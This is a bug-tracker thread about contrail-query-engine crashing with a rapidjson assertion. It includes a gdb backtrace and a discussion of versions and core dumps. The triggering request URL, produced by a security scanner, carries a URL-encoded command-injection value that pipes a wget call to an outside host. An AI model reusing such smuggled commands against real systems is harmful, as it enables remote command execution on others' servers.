contrail-query-engine crash in AnalyticsQuery::Init

[Gavril Ioan Florian]

Running a tool to find web security vulnerabilities, accessing the following link:

https://1.1.1.1:8143/api/admin/reports/query?where=&filters=%22%7Cwget+http%3A%2F%2F10.241.3.189%3A56624%2FAppScanMsg.html%3FvarId%3D7176%7Cecho+%22&level=4&fromTimeUTC=now-10m&toTimeUTC=now&table=MessageTable&limit=10&_=1499165864514

where 1.1.1.1 is the ip of contrail controller, contrail-query-engine crash with the following stack trace:

Core was generated by `/usr/bin/contrail-query-engine --conf_file /etc/contrail/contrail-query-engine.'.
Program terminated with signal 6, Aborted.
#0 0x00002ace0daea5f7 in raise () from /lib64/libc.so.6
Missing separate debuginfos, use: debuginfo-install contrail-analytics-3.2.3.0-tc4r001.el7.centos.x86_64
(gdb) bt
#0 0x00002ace0daea5f7 in raise () from /lib64/libc.so.6
#1 0x00002ace0daebce8 in abort () from /lib64/libc.so.6
#2 0x00002ace0dae3566 in __assert_fail_base () from /lib64/libc.so.6
#3 0x00002ace0dae3612 in __assert_fail () from /lib64/libc.so.6
#4 0x000000000042ce29 in rapidjson::GenericValue<rapidjson::UTF8<char>, rapidjson::MemoryPoolAllocator<rapidjson::CrtAllocator> >::FindMember(char const*) ()
#5 0x000000000042b747 in rapidjson::GenericValue<rapidjson::UTF8<char>, rapidjson::MemoryPoolAllocator<rapidjson::CrtAllocator> >::operator[](char const*) ()
#6 0x0000000000550405 in rapidjson::GenericValue<rapidjson::UTF8<char>, rapidjson::MemoryPoolAllocator<rapidjson::CrtAllocator> >::operator[](char const*) const ()
#7 0x0000000000539b27 in PostProcessingQuery::PostProcessingQuery(std::map<std::string, std::string, std::less<std::string>, std::allocator<std::pair<std::string const, std::string> > >&, QueryUnit*) ()
#8 0x00000000005401ef in AnalyticsQuery::Init(std::string, std::map<std::string, std::string, std::less<std::string>, std::allocator<std::pair<std::string const, std::string> > >&, int) ()
#9 0x000000000054744c in AnalyticsQuery::AnalyticsQuery(std::string, boost::shared_ptr<GenDb::GenDbIf>, std::map<std::string, std::string, std::less<std::string>, std::allocator<std::pair<std::string const, std::string> > >, int, std::vector<query_result_unit_t, std::allocator<query_result_unit_t> > const*, std::map<TtlType::type, unsigned long, std::less<TtlType::type>, std::allocator<std::pair<TtlType::type const, unsigned long> > > const&, int, int, QueryEngine*, void*) ()
#10 0x000000000054a02a in QueryEngine::QueryPrepare(QueryEngine::QueryParams, std::vector<unsigned long, std::allocator<unsigned long> >&, bool&, bool&, std::string&, unsigned int&, std::string&, std::string&, unsigned long&, std::string&) ()
#11 0x000000000049cb03 in QEOpServerProxy::QEOpServerImpl::StartPipeline(std::string) ()
#12 0x00000000004a01d8 in QEOpServerProxy::QEOpServerImpl::CallbackProcess(unsigned char, redisAsyncContext const*, void*, void*) ()
#13 0x00000000004c7836 in boost::_mfi::mf4<void, QEOpServerProxy::QEOpServerImpl, unsigned char, redisAsyncContext const*, void*, void*>::operator()(QEOpServerProxy::QEOpServerImpl*, unsigned char, redisAsyncContext const*, void*, void*) const ()
#14 0x00000000004c5d22 in void boost::_bi::list5<boost::_bi::value<QEOpServerProxy::QEOpServerImpl*>, boost::_bi::value<unsigned char>, boost::arg<1>, boost::arg<2>, boost::arg<3> >::operator()<boost::_mfi::mf4<void, QEOpServerProxy::QEOpServerImpl, unsigned char, redisAsyncContext const*, void*, void*>, boost::_bi::list3<redisAsyncContext const*&, void*&, void*&> >(boost::_bi::type<void>, boost::_mfi::mf4<void, QEOpServerProxy::QEOpServerImpl, unsigned char, redisAsyncContext const*, void*, void*>&, boost::_bi::list3<redisAsyncContext const*&, void*&, void*&>&, int) ()
#15 0x00000000004c3283 in void boost::_bi::bind_t<void, boost::_mfi::mf4<void, QEOpServerProxy::QEOpServerImpl, unsigned char, redisAsyncContext const*, void*, void*>, boost::_bi::list5<boost::_bi::value<QEOpServerProxy::QEOpServerImpl*>, boost::_bi::value<unsigned char>, boost::arg<1>, boost::arg<2>, boost::arg<3> > >::operator()<redisAsyncContext const*, void*, void*>(redisAsyncContext const*&, void*&, void*&) ()
---Type <return> to continue, or q <return> to quit---
#16 0x00000000004beff0 in boost::detail::function::void_function_obj_invoker3<boost::_bi::bind_t<void, boost::_mfi::mf4<void, QEOpServerProxy::QEOpServerImpl, unsigned char, redisAsyncContext const*, void*, void*>, boost::_bi::list5<boost::_bi::value<QEOpServerProxy::QEOpServerImpl*>, boost::_bi::value<unsigned char>, boost::arg<1>, boost::arg<2>, boost::arg<3> > >, void, redisAsyncContext const*, void*, void*>::invoke(boost::detail::function::function_buffer&, redisAsyncContext const*, void*, void*) ()
#17 0x00000000005f822f in boost::function3<void, redisAsyncContext const*, void*, void*>::operator()(redisAsyncContext const*, void*, void*) const ()
#18 0x00000000005f4d11 in RedisAsyncConnection::RAC_AsyncCmdCallback(redisAsyncContext*, void*, void*) ()
#19 0x0000000000809874 in __redisRunCallback ()
#20 0x0000000000809f93 in redisProcessCallbacks ()
#21 0x000000000080a190 in redisAsyncHandleRead ()
#22 0x000000000080abc5 in redisBoostClient::handle_read(boost::system::error_code) ()
#23 0x000000000080c718 in void boost::_mfi::mf1<void, redisBoostClient, boost::system::error_code>::call<boost::shared_ptr<redisBoostClient>, boost::system::error_code>(boost::shared_ptr<redisBoostClient>&, void const*, boost::system::error_code&) const ()
#24 0x000000000080c68f in void boost::_mfi::mf1<void, redisBoostClient, boost::system::error_code>::operator()<boost::shared_ptr<redisBoostClient> >(boost::shared_ptr<redisBoostClient>&, boost::system::error_code) const ()
#25 0x000000000080c5fa in void boost::_bi::list2<boost::_bi::value<boost::shared_ptr<redisBoostClient> >, boost::arg<1> (*)()>::operator()<boost::_mfi::mf1<void, redisBoostClient, boost::system::error_code>, boost::_bi::list2<boost::system::error_code const&, unsigned long const&> >(boost::_bi::type<void>, boost::_mfi::mf1<void, redisBoostClient, boost::system::error_code>&, boost::_bi::list2<boost::system::error_code const&, unsigned long const&>&, int) ()
#26 0x000000000080c58c in void boost::_bi::bind_t<void, boost::_mfi::mf1<void, redisBoostClient, boost::system::error_code>, boost::_bi::list2<boost::_bi::value<boost::shared_ptr<redisBoostClient> >, boost::arg<1> (*)()> >::operator()<boost::system::error_code, unsigned long>(boost::system::error_code const&, unsigned long const&) ()
#27 0x000000000080c53d in boost::asio::detail::binder2<boost::_bi::bind_t<void, boost::_mfi::mf1<void, redisBoostClient, boost::system::error_code>, boost::_bi::list2<boost::_bi::value<boost::shared_ptr<redisBoostClient> >, boost::arg<1> (*)()> >, boost::system::error_code, unsigned long>::operator()() ()
#28 0x000000000080c50f in void boost::asio::asio_handler_invoke<boost::asio::detail::binder2<boost::_bi::bind_t<void, boost::_mfi::mf1<void, redisBoostClient, boost::system::error_code>, boost::_bi::list2<boost::_bi::value<boost::shared_ptr<redisBoostClient> >, boost::arg<1> (*)()> >, boost::system::error_code, unsigned long> >(boost::asio::detail::binder2<boost::_bi::bind_t<void, boost::_mfi::mf1<void, redisBoostClient, boost::system::error_code>, boost::_bi::list2<boost::_bi::value<boost::shared_ptr<redisBoostClient> >, boost::arg<1> (*)()> >, boost::system::error_code, unsigned long>, ...) ()
#29 0x000000000080c478 in void boost_asio_handler_invoke_helpers::invoke<boost::asio::detail::binder2<boost::_bi::bind_t<void, boost::_mfi::mf1<void, redisBoostClient, boost::system::error_code>, boost::_bi:---Type <return> to continue, or q <return> to quit---
:list2<boost::_bi::value<boost::shared_ptr<redisBoostClient> >, boost::arg<1> (*)()> >, boost::system::error_code, unsigned long>, boost::_bi::bind_t<void, boost::_mfi::mf1<void, redisBoostClient, boost::system::error_code>, boost::_bi::list2<boost::_bi::value<boost::shared_ptr<redisBoostClient> >, boost::arg<1> (*)()> > >(boost::asio::detail::binder2<boost::_bi::bind_t<void, boost::_mfi::mf1<void, redisBoostClient, boost::system::error_code>, boost::_bi::list2<boost::_bi::value<boost::shared_ptr<redisBoostClient> >, boost::arg<1> (*)()> >, boost::system::error_code, unsigned long>&, boost::_bi::bind_t<void, boost::_mfi::mf1<void, redisBoostClient, boost::system::error_code>, boost::_bi::list2<boost::_bi::value<boost::shared_ptr<redisBoostClient> >, boost::arg<1> (*)()> >&) ()
#30 0x000000000080c2e7 in boost::asio::detail::reactive_null_buffers_op<boost::_bi::bind_t<void, boost::_mfi::mf1<void, redisBoostClient, boost::system::error_code>, boost::_bi::list2<boost::_bi::value<boost::shared_ptr<redisBoostClient> >, boost::arg<1> (*)()> > >::do_complete(boost::asio::detail::task_io_service*, boost::asio::detail::task_io_service_operation*, boost::system::error_code const&, unsigned long) ()
#31 0x000000000066c658 in boost::asio::detail::task_io_service_operation::complete(boost::asio::detail::task_io_service&, boost::system::error_code const&, unsigned long) ()
#32 0x000000000066ce7f in boost::asio::detail::epoll_reactor::descriptor_state::do_complete(boost::asio::detail::task_io_service*, boost::asio::detail::task_io_service_operation*, boost::system::error_code const&, unsigned long) ()
#33 0x000000000066c658 in boost::asio::detail::task_io_service_operation::complete(boost::asio::detail::task_io_service&, boost::system::error_code const&, unsigned long) ()
#34 0x000000000066d6ad in boost::asio::detail::task_io_service::do_run_one(boost::asio::detail::scoped_lock<boost::asio::detail::posix_mutex>&, boost::asio::detail::task_io_service_thread_info&, boost::system::error_code const&) ()
#35 0x000000000066d3d1 in boost::asio::detail::task_io_service::run(boost::system::error_code&) ()
#36 0x000000000068c3b7 in boost::asio::io_service::run(boost::system::error_code&) ()
#37 0x000000000068acb0 in EventManager::Run() ()
#38 0x00000000004dc649 in main ()

I am using open-contrail build from R3.2 branch, running on Centos7.

Thank you,
Gabi

[Arvind (arvindv)]

Have to verify if its fixed by https://bugs.launchpad.net/juniperopenstack/+bug/1699861
Please provide the build id and release. Core will be helpful if available

[Gavril Ioan Florian (gflorian)]

Hi Arvind,
I don't have rights to view #1699861.
I am using opencontrail 3.2.3.0 but I can see this issue on 3.2.4.0 also.
Core-dump attached is for 3.2.3.0

[Arvind (arvindv)]

Hi Gavril
Thanks for providing the core. Do you by any chance have the /usr/bin/contrail-query-engine for 3.2.3.0 as well ? Can you attach that as well. If you can share access to the TB i can get all the required info. Plz let me know if possible ?

[Gavril Ioan Florian (gflorian)]

Hi Arvind,
Please find attached the executable file.

Unfortunately, I can not give the access to the setup, but I am available to provide any information.

Thank you,
Gabi

[Anish Mehta (amehta00)]

Please confirm if it really needed for R3.2.5 and R4.0.1

[Gavril Ioan Florian (gflorian)]

Hi Anish,
If the last question is for me .... I will say yes, it is a crash actually, nu?

I started to investigate a little bit ... it seems that the rapidjson code is crashing when it is trying to decode the following JSON:

{ "filter" : [[{"name": "Type", "value": "1", "op": 1}, {"name": "Level", "value": "4", "op": 5}, null], [{"name": "Type", "value": "10", "op": 1}, {"name": "Level", "value": "4", "op": 5}, null]] }

I am using rapidjson v0.11. Can you please cofnfirm if this version is correct?

Thanks,
Gabi